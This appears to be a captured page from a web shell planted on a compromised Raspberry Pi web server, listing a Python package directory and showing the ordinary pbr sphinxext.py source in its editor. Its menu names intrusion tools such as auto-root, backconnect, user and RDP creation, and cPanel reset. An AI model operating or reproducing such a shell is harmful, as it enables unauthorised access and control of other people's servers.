Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
pbr /
[ HOME SHELL ]
Name
Size
Permission
Action
cmd
[ DIR ]
drwxr-xr-x
hooks
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
__init__.pyc
135
B
-rw-r--r--
builddoc.py
11.66
KB
-rw-r--r--
builddoc.pyc
8.86
KB
-rw-r--r--
core.py
5.38
KB
-rw-r--r--
core.pyc
2.65
KB
-rw-r--r--
extra_files.py
1.07
KB
-rw-r--r--
extra_files.pyc
780
B
-rw-r--r--
find_package.py
1.02
KB
-rw-r--r--
find_package.pyc
740
B
-rw-r--r--
git.py
11.02
KB
-rw-r--r--
git.pyc
10.05
KB
-rw-r--r--
options.py
2.32
KB
-rw-r--r--
options.pyc
537
B
-rw-r--r--
packaging.py
28.92
KB
-rw-r--r--
packaging.pyc
28.11
KB
-rw-r--r--
pbr_json.py
1.22
KB
-rw-r--r--
pbr_json.pyc
821
B
-rw-r--r--
sphinxext.py
3.13
KB
-rw-r--r--
sphinxext.pyc
2.5
KB
-rw-r--r--
testr_command.py
5.73
KB
-rw-r--r--
testr_command.pyc
6
KB
-rw-r--r--
util.py
22.67
KB
-rw-r--r--
util.pyc
13.84
KB
-rw-r--r--
version.py
18.53
KB
-rw-r--r--
version.pyc
16.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sphinxext.py
# Copyright 2018 Red Hat, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import os.path from six.moves import configparser from sphinx.util import logging import pbr.version _project = None logger = logging.getLogger(__name__) def _find_setup_cfg(srcdir): """Find the 'setup.cfg' file, if it exists. This assumes we're using 'doc/source' for documentation, but also allows for single level 'doc' paths. """ # TODO(stephenfin): Are we sure that this will always exist, e.g. for # an sdist or wheel? Perhaps we should check for 'PKG-INFO' or # 'METADATA' files, a la 'pbr.packaging._get_version_from_pkg_metadata' for path in [ os.path.join(srcdir, os.pardir, 'setup.cfg'), os.path.join(srcdir, os.pardir, os.pardir, 'setup.cfg')]: if os.path.exists(path): return path return None def _get_project_name(srcdir): """Return string name of project name, or None. This extracts metadata from 'setup.cfg'. We don't rely on distutils/setuptools as we don't want to actually install the package simply to build docs. """ global _project if _project is None: parser = configparser.ConfigParser() path = _find_setup_cfg(srcdir) if not path or not parser.read(path): logger.info('Could not find a setup.cfg to extract project name ' 'from') return None try: # for project name we use the name in setup.cfg, but if the # length is longer then 32 we use summary. Otherwise thAe # menu rendering looks brolen project = parser.get('metadata', 'name') if len(project.split()) == 1 and len(project) > 32: project = parser.get('metadata', 'summary') except configparser.Error: logger.info('Could not extract project metadata from setup.cfg') return None _project = project return _project def _builder_inited(app): # TODO(stephenfin): Once Sphinx 1.8 is released, we should move the below # to a 'config-inited' handler project_name = _get_project_name(app.srcdir) try: version_info = pbr.version.VersionInfo(project_name) except Exception: version_info = None if version_info and not app.config.version and not app.config.release: app.config.version = version_info.canonical_version_string() app.config.release = version_info.version_string_with_vcs() def setup(app): app.connect('builder-inited', _builder_inited) return { 'parallel_read_safe': True, 'parallel_write_safe': True, }
Close